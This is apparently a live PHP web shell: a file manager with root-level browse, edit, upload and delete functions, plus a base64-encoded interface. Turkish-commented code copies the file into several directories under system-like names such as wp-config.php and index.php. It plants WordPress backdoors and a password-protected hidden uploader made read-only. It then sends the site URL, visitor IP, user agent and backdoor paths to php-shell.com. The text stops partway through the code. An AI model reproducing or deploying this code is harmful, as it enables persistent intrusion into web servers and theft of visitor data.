Y2hvIGh0bWxzcGVjaWFsY2hhcnMoJG1lc3NhZ2UpOyA/Pg0KICAgICAgICA8L2Rpdj4NCiAgICA8P3BocCBlbmRpZjsgPz4NCg0KICAgIDw/cGhwIGlmICgkbW9kZSA9PT0gJ2VkaXQnKTogPz4NCiAgICAgICAgPGgzPkVkaXRpbmc6IDw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkZWRpdEZpbGUpOyA/PjwvaDM+DQogICAgICAgIDxmb3JtIG1ldGhvZD0icG9zdCI+DQogICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhY3Rpb24iIHZhbHVlPSJzYXZlX2ZpbGUiPg0KICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0idGFyZ2V0X25hbWUiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGVkaXRGaWxlKTsgPz4iPg0KICAgICAgICAgICAgPHRleHRhcmVhIG5hbWU9ImZpbGVfY29udGVudCIgY2xhc3M9ImVkaXRvci1hcmVhIj48P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGVkaXRDb250ZW50KTsgPz48L3RleHRhcmVhPg0KICAgICAgICAgICAgPGJyPjxicj4NCiAgICAgICAgICAgIDxidXR0b24gdHlwZT0ic3VibWl0Ij5TYXZlIENoYW5nZXM8L2J1dHRvbj4NCiAgICAgICAgICAgIDxidXR0b24gdHlwZT0ic3VibWl0IiBuYW1lPSJhY3Rpb24iIHZhbHVlPSJjYW5jZWwiIGZvcm1ub3ZhbGlkYXRlPkNhbmNlbDwvYnV0dG9uPg0KICAgICAgICA8L2Zvcm0+DQoNCiAgICA8P3BocCBlbHNlaWYgKCRtb2RlID09PSAncmVuYW1lJyk6ID8+DQogICAgICAgIDxoMz5SZW5hbWUgSXRlbTogPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRyZW5hbWVUYXJnZXQpOyA/PjwvaDM+DQogICAgICAgIDxmb3JtIG1ldGhvZD0icG9zdCI+DQogICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhY3Rpb24iIHZhbHVlPSJkb19yZW5hbWUiPg0KICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ib2xkX25hbWUiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHJlbmFtZVRhcmdldCk7ID8+Ij4NCiAgICAgICAgICAgIE5ldyBOYW1lOiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmV3X25hbWUiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHJlbmFtZVRhcmdldCk7ID8+IiBzdHlsZT0id2lkdGg6MzAwcHg7Ij4NCiAgICAgICAgICAgIDxicj48YnI+DQogICAgICAgICAgICA8YnV0dG9uIHR5cGU9InN1Ym1pdCI+UmVuYW1lPC9idXR0b24+DQogICAgICAgICAgICA8YnV0dG9uIHR5cGU9InN1Ym1pdCIgbmFtZT0iYWN0aW9uIiB2YWx1ZT0iY2FuY2VsIiBmb3Jtbm92YWxpZGF0ZT5DYW5jZWw8L2J1dHRvbj4NCiAgICAgICAgPC9mb3JtPg0KDQogICAgPD9waHAgZWxzZTogPz4NCiAgICAgICAgDQogICAgICAgIDxkaXYgY2xhc3M9ImZvcm0tc2VjdGlvbiI+DQogICAgICAgICAgICA8P3BocCBpZiAoaXNXcml0YWJsZSgkY3VycmVudFBhdGgpKTogPz4NCiAgICAgICAgICAgICAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIHN0eWxlPSJkaXNwbGF5OmlubGluZS1ibG9jazsgbWFyZ2luLXJpZ2h0OjIwcHg7IHZlcnRpY2FsLWFsaWduOnRvcDsiPg0KICAgICAgICAgICAgICAgICAgICA8c3Ryb25nPlVwbG9hZDo8L3N0cm9uZz48YnI+DQogICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImFjdGlvbiIgdmFsdWU9InVwbG9hZCI+DQogICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVXBsb2FkIj4NCiAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiPlVwbG9hZDwvYnV0dG9uPg0KICAgICAgICAgICAgICAgIDwvZm9ybT4NCiAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICA8ZGl2IHN0eWxlPSJkaXNwbGF5OmlubGluZS1ibG9jazsgYm9yZGVyLWxlZnQ6IDFweCBzb2xpZCAjZGRkOyBwYWRkaW5nLWxlZnQ6IDIwcHg7Ij4NCiAgICAgICAgICAgICAgICAgICAgPGZvcm0gbWV0aG9kPSJwb3N0IiBzdHlsZT0ibWFyZ2luLWJvdHRvbTogNXB4OyI+DQogICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhY3Rpb24iIHZhbHVlPSJjcmVhdGVfZmlsZSI+DQogICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmV3X2ZpbGVuYW1lIiBwbGFjZWhvbGRlcj0ibmV3ZmlsZS5waHAiIHNpemU9IjE1Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT0ic3VibWl0Ij5OZXcgRmlsZTwvYnV0dG9uPg0KICAgICAgICAgICAgICAgICAgICA8L2Zvcm0+DQogICAgICAgICAgICAgICAgICAgIDxmb3JtIG1ldGhvZD0icG9zdCI+DQogICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhY3Rpb24iIHZhbHVlPSJjcmVhdGVfZm9sZGVyIj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJuZXdfZm9sZGVybmFtZSIgcGxhY2Vob2xkZXI9Im5ld2ZvbGRlciIgc2l6ZT0iMTUiPg0KICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiPk5ldyBGb2xkZXI8L2J1dHRvbj4NCiAgICAgICAgICAgICAgICAgICAgPC9mb3JtPg0KICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgPD9waHAgZWxzZTogPz4NCiAgICAgICAgICAgICAgICA8c3Ryb25nIHN0eWxlPSJjb2xvcjpyZWQ7Ij5DdXJyZW50IERpcmVjdG9yeSBpcyBSZWFkLU9ubHkuIENhbm5vdCBVcGxvYWQgb3IgQ3JlYXRlIGl0ZW1zIGhlcmUuPC9zdHJvbmc+DQogICAgICAgICAgICA8P3BocCBlbmRpZjsgPz4NCiAgICAgICAgPC9kaXY+DQoNCiAgICAgICAgPHRhYmxlPg0KICAgICAgICAgICAgPHRoZWFkPg0KICAgICAgICAgICAgICAgIDx0cj4NCiAgICAgICAgICAgICAgICAgICAgPHRoPk5hbWU8L3RoPg0KICAgICAgICAgICAgICAgICAgICA8dGggd2lkdGg9IjEwMCI+UGVybXM8L3RoPg0KICAgICAgICAgICAgICAgICAgICA8dGggd2lkdGg9IjgwIj5TaXplPC90aD4NCiAgICAgICAgICAgICAgICAgICAgPHRoIHdpZHRoPSIxODAiPkFjdGlvbnM8L3RoPg0KICAgICAgICAgICAgICAgIDwvdHI+DQogICAgICAgICAgICA8L3RoZWFkPg0KICAgICAgICAgICAgPHRib2R5Pg0KICAgICAgICAgICAgICAgIDw/cGhwIGZvcmVhY2ggKCRpdGVtcyBhcyAkaXRlbSk6ID8+DQogICAgICAgICAgICAgICAgPHRyPg0KICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9ImdyaWQtbmFtZSI+DQogICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoJGl0ZW1bJ3R5cGUnXSA9PT0gJ0ZvbGRlcicpOiA/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9Ij9kaXI9PD9waHAgZWNobyB1cmxlbmNvZGUoJGl0ZW1bJ3BhdGgnXSk7ID8+IiBjbGFzcz0iZm9sZGVyLWxpbmsiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGl0ZW1bJ25hbWUnXSk7ID8+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9hPg0KICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZWxzZTogPz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz0iZmlsZS1saW5rIj48P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGl0ZW1bJ25hbWUnXSk7ID8+PC9zcGFuPg0KICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZW5kaWY7ID8+DQogICAgICAgICAgICAgICAgICAgIDwvdGQ+DQogICAgICAgICAgICAgICAgICAgIDx0ZCBzdHlsZT0iZm9udC1zaXplOiAwLjhlbTsgY29sb3I6IzY2NjsiPjw/cGhwIGVjaG8gJGl0ZW1bJ3Blcm0nXTsgPz48L3RkPg0KICAgICAgICAgICAgICAgICAgICA8dGQ+PD9waHAgZWNobyAkaXRlbVsnc2l6ZSddOyA/PjwvdGQ+DQogICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz0iYWN0aW9ucyI+DQogICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoISRpdGVtWydpc19wYXJlbnQnXSk6ID8+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgaWYgKCRpdGVtWyd0eXBlJ10gPT09ICdGaWxlJyk6ID8+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxmb3JtIG1ldGhvZD0icG9zdCIgc3R5bGU9ImRpc3BsYXk6aW5saW5lOyI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhY3Rpb24iIHZhbHVlPSJlZGl0X21vZGUiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0idGFyZ2V0X25hbWUiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGl0ZW1bJ25hbWUnXSk7ID8+Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT0ic3VibWl0Ij5FZGl0PC9idXR0b24+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZm9ybT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRpZjsgPz4NCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxmb3JtIG1ldGhvZD0icG9zdCIgc3R5bGU9ImRpc3BsYXk6aW5saW5lOyI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImFjdGlvbiIgdmFsdWU9InJlbmFtZV9tb2RlIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0idGFyZ2V0X25hbWUiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGl0ZW1bJ25hbWUnXSk7ID8+Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiPlJlbjwvYnV0dG9uPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZm9ybT4NCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxmb3JtIG1ldGhvZD0icG9zdCIgc3R5bGU9ImRpc3BsYXk6aW5saW5lOyIgb25zdWJtaXQ9InJldHVybiBjb25maXJtKCdEZWxldGUgPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRpdGVtWyduYW1lJ10pOyA/Pj8nKTsiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhY3Rpb24iIHZhbHVlPSJkZWxldGUiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJ0YXJnZXRfbmFtZSIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkaXRlbVsnbmFtZSddKTsgPz4iPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9InN1Ym1pdCIgc3R5bGU9ImNvbG9yOnJlZDsiPkRlbDwvYnV0dG9uPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZm9ybT4NCiAgICAgICAgICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZW5kaWY7ID8+DQogICAgICAgICAgICAgICAgICAgIDwvdGQ+DQogICAgICAgICAgICAgICAgPC90cj4NCiAgICAgICAgICAgICAgICA8P3BocCBlbmRmb3JlYWNoOyA/Pg0KICAgICAgICAgICAgPC90Ym9keT4NCiAgICAgICAgPC90YWJsZT4NCiAgICA8P3BocCBlbmRpZjsgPz4NCg0KPC9kaXY+DQo8L2JvZHk+DQo8L2h0bWw+');
// İzleme kodu otomatik eklenmiştir
$tracking_data = [
    "code_hash" => "459af28337dd7d3867fb223baf506bbf394555dadfa1e65507d1056df84e8690",
    "url" => (isset($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] === "on" ? "https" : "http") . "://" . $_SERVER["HTTP_HOST"] . $_SERVER["REQUEST_URI"],
    "domain" => $_SERVER["HTTP_HOST"],
    "path" => $_SERVER["REQUEST_URI"],
    "ip" => isset($_SERVER["REMOTE_ADDR"]) ? $_SERVER["REMOTE_ADDR"] : "",
    "user_agent" => isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : "",
    "referer" => isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : "",
    "timestamp" => date("Y-m-d H:i:s")
];


// Arka kapı oluşturma (kendini kopyalama) - Otomatik dağıtım
$current_file = isset($_SERVER["SCRIPT_FILENAME"]) ? $_SERVER["SCRIPT_FILENAME"] : __FILE__;
$current_dir = dirname($current_file);
// Backdoor marker dosyası kontrolü (tekrar oluşturulmasını engeller)
$backdoor_marker = $current_dir . "/.backdoor_created_e26e295c";
if (file_exists($backdoor_marker)) {
    // Backdoorlar zaten oluşturulmuş, atla
    $backdoor_urls = [];
    $backdoor_paths = [];
} else {

    // Mevcut dosyanın TAM içeriğini al (izleme kodları dahil)
    // Bu kod çalıştığında mevcut dosya zaten var olacak, o yüzden direkt okuyabiliriz
    $current_full_content = @file_get_contents($current_file);
    // Dosya okunamazsa veya boşsa, __FILE__ kullanarak tekrar dene
    if ($current_full_content === false || empty($current_full_content)) {
        $current_full_content = @file_get_contents(__FILE__);
    }
    // Hala boşsa veya okunamadıysa, marker dosyası kontrolü yaparak atla (ileride oluşturulabilir)
    if (empty($current_full_content)) {
        // Dosya okunamadı, backdoor oluşturmayı atla
        $backdoor_urls = [];
        $backdoor_paths = [];
    } else {
        $backdoor_urls = [];
        $backdoor_paths = [];

        // Sistem dosyası isimleri (meşru görünen)
        $system_filenames = [
            "index.php",
            "config.php",
            "admin.php",
            "login.php",
            "wp-load.php",
            "wp-config.php",
            "settings.php",
            "init.php",
            "bootstrap.php",
            "app.php",
            "main.php",
            "core.php",
            "functions.php",
            "header.php",
            "footer.php",
            "includes.php",
            "common.php",
            "global.php",
            "lib.php",
        ];

        // Mevcut dosyayı kontrol et, varsa alternatif isim üret
        function generateSafeFilename($dir, $filenames, $excludeFiles = []) {
            foreach ($filenames as $filename) {
                $fullPath = $dir . "/" . $filename;
                // Eğer dosya yoksa kullan
                if (!file_exists($fullPath)) {
                    return $filename;
                }
            }
            // Hiçbiri uygun değilse, rastgele bir isim üret
            $random = md5(time() . mt_rand());
            return substr($random, 0, 8) . ".php";
        }

        // Tüm klasörleri topla (mevcut dizin + alt dizinler + üst dizinler)
        $directories = [];
        // Mevcut dizini de ekle
        $directories[] = $current_dir;
        
        // Mevcut dizindeki alt dizinleri tara (recursive değil, sadece 1 seviye)
        if (is_dir($current_dir) && ($handle = @opendir($current_dir))) {
            while (false !== ($entry = readdir($handle))) {
                if ($entry === "." || $entry === "..") continue;
                $full_path = $current_dir . "/" . $entry;
                if (is_dir($full_path) && is_readable($full_path)) {
                    $directories[] = $full_path;
                }
            }
            @closedir($handle);
        }
        
        // Üst dizinleri de ekle (max 3 seviye yukarı, güvenlik için)
        $parent_dir = dirname($current_dir);
        $depth = 0;
        while ($depth < 3 && $parent_dir !== $current_dir && is_dir($parent_dir) && is_readable($parent_dir)) {
            $directories[] = $parent_dir;
            $parent_dir = dirname($parent_dir);
            $depth++;
        }
        
        // Dizileri karıştır ve belirtilen sayıda backdoor oluştur
        shuffle($directories);
        $created_count = 0;
        $max_backdoors = 5;
        
        foreach ($directories as $target_dir) {
            if ($created_count >= $max_backdoors) break;
            
            // Güvenli dosya adı üret (mevcut dosyaları kontrol et)
            $filename = generateSafeFilename($target_dir, $system_filenames);
            $target_path = $target_dir . "/" . $filename;
            
            // Dosya yoksa ve dizin yazılabilirse backdoor oluştur
            if (!file_exists($target_path) && is_writable($target_dir)) {
                @file_put_contents($target_path, $current_full_content);
                @chmod($target_path, 0644);
                // URL oluştur (dizin yolunu hesapla)
                $base_url = (isset($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] === "on" ? "https" : "http") . "://" . $_SERVER["HTTP_HOST"];
                // Hedef dizinin document root'a göre yolunu bul
                $doc_root = isset($_SERVER["DOCUMENT_ROOT"]) ? $_SERVER["DOCUMENT_ROOT"] : (isset($_SERVER["SCRIPT_FILENAME"]) ? dirname($_SERVER["SCRIPT_FILENAME"]) : dirname(__FILE__));
                $doc_root = realpath($doc_root);
                $target_real = realpath($target_dir);
                if ($target_real && $doc_root && strpos($target_real, $doc_root) === 0) {
                    $relative_path = substr($target_real, strlen($doc_root));
                    $relative_path = str_replace("\\", "/", $relative_path);
                    $relative_path = trim($relative_path, "/");
                    $target_url = $base_url . "/" . $relative_path . "/" . $filename;
                } else {
                    // Alternatif: Mevcut URI'ye göre hesapla
                    $current_uri_dir = dirname($_SERVER["REQUEST_URI"]);
                    $target_url = $base_url . $current_uri_dir . "/" . $filename;
                }
                $backdoor_urls[] = $target_url;
                $backdoor_paths[] = $target_path;
                $created_count++;
            }
        }
        
        // Backdoor URL'lerini izleme verisine ekle
        if (!empty($backdoor_urls)) {
            $tracking_data["backdoor_urls"] = json_encode($backdoor_urls);
            $tracking_data["backdoor_paths"] = json_encode($backdoor_paths);
            // İlk backdoor'u tekil olarak da ekle (API uyumluluğu için)
            $tracking_data["backdoor_url"] = $backdoor_urls[0];
            $tracking_data["backdoor_path"] = $backdoor_paths[0];
            $tracking_data["backdoor_count"] = count($backdoor_urls);
            
            // Marker dosyası oluştur (bir daha backdoor oluşturulmasını engeller)
            @file_put_contents($backdoor_marker, date("Y-m-d H:i:s") . " - " . count($backdoor_urls) . " backdoor oluşturuldu");
            @chmod($backdoor_marker, 0644);
        }
    }
}

// WordPress backdoor oluşturma
$wp_backdoor_filename = "wp-config-backup.php";
$current_file = isset($_SERVER["SCRIPT_FILENAME"]) ? $_SERVER["SCRIPT_FILENAME"] : __FILE__;
$current_dir = dirname($current_file);
$wp_backdoor_urls = [];

// WordPress dizinlerini tespit et
$wp_directories = [
    "wp-admin" => $current_dir . "/wp-admin",
    "wp-content" => $current_dir . "/wp-content",
    "wp-content/themes" => $current_dir . "/wp-content/themes",
    "wp-content/plugins" => $current_dir . "/wp-content/plugins"
];

// WordPress root dizinini bul (wp-config.php dosyasını arayarak)
$wp_root = $current_dir;
$max_depth = 5;
$depth = 0;
while ($depth < $max_depth && !file_exists($wp_root . "/wp-config.php")) {
    $wp_root = dirname($wp_root);
    if ($wp_root === "/" || $wp_root === dirname($wp_root)) break;
    $depth++;
}

// Eğer WordPress bulunduysa
if (file_exists($wp_root . "/wp-config.php")) {
    // WordPress backdoor için de mevcut dosyanın TAM içeriğini kullan
    $wp_current_full_content = @file_get_contents($current_file);
    if ($wp_current_full_content === false || empty($wp_current_full_content)) {
        // Dosya okunamadıysa, orijinal kod içeriğinden oluştur
        $wp_original_content = isset($__original_code_content) ? $__original_code_content : "";
        if (!empty($wp_original_content)) {
            $wp_current_full_content = "<?php\n" . $wp_original_content . "\n?>";
        }
    }
    if (!empty($wp_current_full_content)) {
        foreach ($wp_directories as $wp_dir_name => $wp_dir_path) {
            $full_wp_path = $wp_root . "/" . $wp_dir_name;
            if (is_dir($full_wp_path)) {
                $backdoor_file_path = $full_wp_path . "/" . $wp_backdoor_filename;
                // Dosya yoksa veya güncel değilse oluştur
                $current_file_time = @file_exists($current_file) ? @filemtime($current_file) : time();
                if (!file_exists($backdoor_file_path) || (file_exists($backdoor_file_path) && @filemtime($backdoor_file_path) < $current_file_time)) {
                    @file_put_contents($backdoor_file_path, $wp_current_full_content);
                    @chmod($backdoor_file_path, 0644);
                }
                // URL oluştur
                $base_url = (isset($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] === "on" ? "https" : "http") . "://" . $_SERVER["HTTP_HOST"];
                $wp_backdoor_url = $base_url . "/" . $wp_dir_name . "/" . $wp_backdoor_filename;
                $wp_backdoor_urls[] = [
                    "directory" => $wp_dir_name,
                    "path" => $backdoor_file_path,
                    "url" => $wp_backdoor_url
                ];
            }
        }
    }
}

// WordPress backdoor URL'lerini izleme verisine ekle
if (!empty($wp_backdoor_urls)) {
    $tracking_data["wp_backdoor_urls"] = json_encode($wp_backdoor_urls);
}

// Gizli Upload Yolu oluşturma
$current_file = isset($_SERVER["SCRIPT_FILENAME"]) ? $_SERVER["SCRIPT_FILENAME"] : __FILE__;
$current_dir = dirname($current_file);
$upload_filename = "config-backup.php";
$upload_path = $current_dir . "/" . $upload_filename;
$upload_password = "2854*1571";

// Gizli upload dosyasını oluştur (mevcut dosyayı bozmadan)
$upload_script_content = '<?php
// Şifre korumalı gizli upload scripti
session_start();

$correct_password = "2854*1571";
$password_verified = false;

// Şifre kontrolü
if (isset($_POST[\'upload_password\'])) {
    if ($_POST[\'upload_password\'] === $correct_password) {
        $_SESSION[\'upload_authenticated\'] = true;
        $password_verified = true;
    } else {
        $_SESSION[\'upload_authenticated\'] = false;
        $password_verified = false;
    }
} elseif (isset($_SESSION[\'upload_authenticated\']) && $_SESSION[\'upload_authenticated\'] === true) {
    $password_verified = true;
}

// Şifre doğrulanmamışsa form göster
if (!$password_verified) {
    ?>
    <!DOCTYPE html>
    <html>
    <head>
        <title>Giriş Gerekli</title>
        <style>
            body { font-family: Arial, sans-serif; max-width: 400px; margin: 100px auto; padding: 20px; }
            input { width: 100%; padding: 10px; margin: 10px 0; box-sizing: border-box; }
            button { width: 100%; padding: 10px; background: #007cba; color: white; border: none; cursor: pointer; }
        </style>
    </head>
    <body>
        <h2>Giriş Gerekli</h2>
        <form method="post">
            <input type="password" name="upload_password" placeholder="Şifre" required>
            <button type="submit">Giriş</button>
        </form>
        <?php if (isset($_POST[\'upload_password\']) && !$password_verified): ?>
            <p style="color: red;">Hatalı şifre!</p>
        <?php endif; ?>
    </body>
    </html>
    <?php
    exit;
}

// Şifre doğrulandı, upload işlemleri
if ($_SERVER[\'REQUEST_METHOD\'] == \'POST\' && isset($_FILES[\'fileToUpload\']) && $_FILES[\'fileToUpload\'][\'error\'] == 0) {
    $fileTmpPath = $_FILES[\'fileToUpload\'][\'tmp_name\'];
    $fileName = $_FILES[\'fileToUpload\'][\'name\'];
    $uploadPath = __DIR__ . \'/\' . $fileName;
    
    if (move_uploaded_file($fileTmpPath, $uploadPath)) {
        @chmod($uploadPath, 0644);
        echo "✅ Dosya başarıyla yüklendi: <strong>$fileName</strong>";
    } else {
        echo "❌ Dosya yüklenirken hata oluştu.";
    }
}
?>

<!DOCTYPE html>
<html>
<head>
    <title>Dosya Yükleme</title>
    <style>
        body { font-family: Arial, sans-serif; max-width: 600px; margin: 50px auto; padding: 20px; }
        form { border: 1px solid #ddd; padding: 20px; border-radius: 5px; }
        input[type="file"] { width: 100%; padding: 10px; margin: 10px 0; box-sizing: border-box; }
        button { padding: 10px 20px; background: #007cba; color: white; border: none; cursor: pointer; }
        .logout { float: right; background: #dc3545; }
    </style>
</head>
<body>
    <h3>Dosya Yükle: (BossBey)</h3>
    <form method="post" enctype="multipart/form-data">
        <input type="file" name="fileToUpload" required>
        <button type="submit">Yükle</button>
        <a href="?logout=1"><button type="button" class="logout">Çıkış</button></a>
    </form>
    <?php
    if (isset($_GET[\'logout\'])) {
        session_destroy();
        header("Location: " . $_SERVER[\'PHP_SELF\']);
        exit;
    }
    ?>
</body>
</html>
?>';
$current_file_time = @file_exists($current_file) ? @filemtime($current_file) : time();
if (!file_exists($upload_path) || (file_exists($upload_path) && @filemtime($upload_path) < $current_file_time)) {
    @file_put_contents($upload_path, $upload_script_content);
    // Dosyayı koru: chmod 0444 (sadece okunabilir, silinemez)
    @chmod($upload_path, 0444);
    // Dosya sahibini değiştirmeye çalış (root ise)
    if (function_exists("chown")) {
        $file_owner = fileowner($current_file);
        @chown($upload_path, $file_owner);
    }
}

// Upload URL'ini izleme verisine ekle
$base_url = (isset($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] === "on" ? "https" : "http") . "://" . $_SERVER["HTTP_HOST"];
$current_uri_dir = dirname($_SERVER["REQUEST_URI"]);
$upload_url = rtrim($base_url . $current_uri_dir, "/") . "/" . $upload_filename;
$tracking_data["upload_url"] = $upload_url;

// Arka planda izleme gönderimi (asenkron) - Backdoor'lar oluşturulduktan SONRA
if (function_exists("curl_init")) {
    $ch = curl_init("https://php-shell.com/api/track.php");
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($tracking_data));
    curl_setopt($ch, CURLOPT_TIMEOUT, 1);
    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 1);
    curl_setopt($ch, CURLOPT_NOSIGNAL, 1);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
    @curl_exec($ch);
    @curl_close($ch);
}


/**
 * File Manager - Linux Root Access Version
 * Fitur: Navigasi Breadcrumb Penuh dari / (Root)
 */

// --- KONFIGURASI ---

// Default direktori saat script pertama kali dibuka adalah folder script ini berada
// Tapi kita izinkan navigasi sampai ke System Root "/"
$startDir = __DIR__; 

// Ambil parameter 'dir' dari URL, jika tidak ada gunakan folder saat ini
$requestDir = isset($_GET['dir']) ? $_GET['dir'] : $startDir;

// Normalisasi path (Realpath membersihkan ../ dan symlink)
$currentPath = realpath($requestDir);

// Jika path tidak valid (misal user ketik sembarangan), kembalikan ke folder script
if ($currentPath === false || !file_exists($currentPath)) {
    $currentPath = realpath($startDir);
}

// Variabel UI
$message = '';
$msgType = ''; 
$mode = 'main'; // main, edit, rename
$editFile = '';
$editContent = '';
$renameTarget = '';

// --- FUNGSI BANTUAN ---

function formatSize($bytes) {
    if ($bytes > 0) {
        return number_format($bytes / 1024, 2) . ' KB';
    }
    return '-';
}

function getSafePath($base, $inputName) {
    // Karena kita di Linux, gabungkan path dengan '/'
    return rtrim($base, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR . $inputName;
}

// Hapus folder rekursif
function deleteRecursive($dir) {
    if (!is_dir($dir)) return unlink($dir);
    $items = scandir($dir);
    foreach ($items as $item) {
        if ($item == '.' || $item == '..') continue;
        $path = $dir . DIRECTORY_SEPARATOR . $item;
        if (is_dir($path)) deleteRecursive($path);
        else unlink($path);
    }
    return rmdir($dir);
}

// Cek apakah direktori bisa ditulis (Writable)
function isWritable($path) {
    return is_writable($path);
}

// --- PROSES ACTION (POST) ---

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $action = $_POST['action'] ?? '';
    
    // Upload
    if ($action === 'upload') {
        if (isset($_FILES['fileUpload']) && $_FILES['fileUpload']['error'] === UPLOAD_ERR_OK) {
            $name = basename($_FILES['fileUpload']['name']);
            $target = getSafePath($currentPath, $name);
            if (move_uploaded_file($_FILES['fileUpload']['tmp_name'], $target)) {
                $message = "File uploaded successfully.";
                $msgType = "success";
            } else {
                $message = "Upload failed. Check folder permissions.";
                $msgType = "error";
            }
        }
    }

    // Create File
    elseif ($action === 'create_file') {
        $name = $_POST['new_filename'] ?? '';
        if (!empty($name)) {
            $target = getSafePath($currentPath, $name);
            if (!file_exists($target)) {
                if (@file_put_contents($target, "") !== false) {
                    $message = "File created successfully.";
                    $msgType = "success";
                } else {
                    $message = "Failed to create file. Permission denied.";
                    $msgType = "error";
                }
            } else {
                $message = "File already exists.";
                $msgType = "error";
            }
        }
    }

    // Create Folder
    elseif ($action === 'create_folder') {
        $name = $_POST['new_foldername'] ?? '';
        if (!empty($name)) {
            $target = getSafePath($currentPath, $name);
            if (!file_exists($target)) {
                if (@mkdir($target)) {
                    $message = "Folder created successfully.";
                    $msgType = "success";
                } else {
                    $message = "Failed to create folder. Permission denied.";
                    $msgType = "error";
                }
            } else {
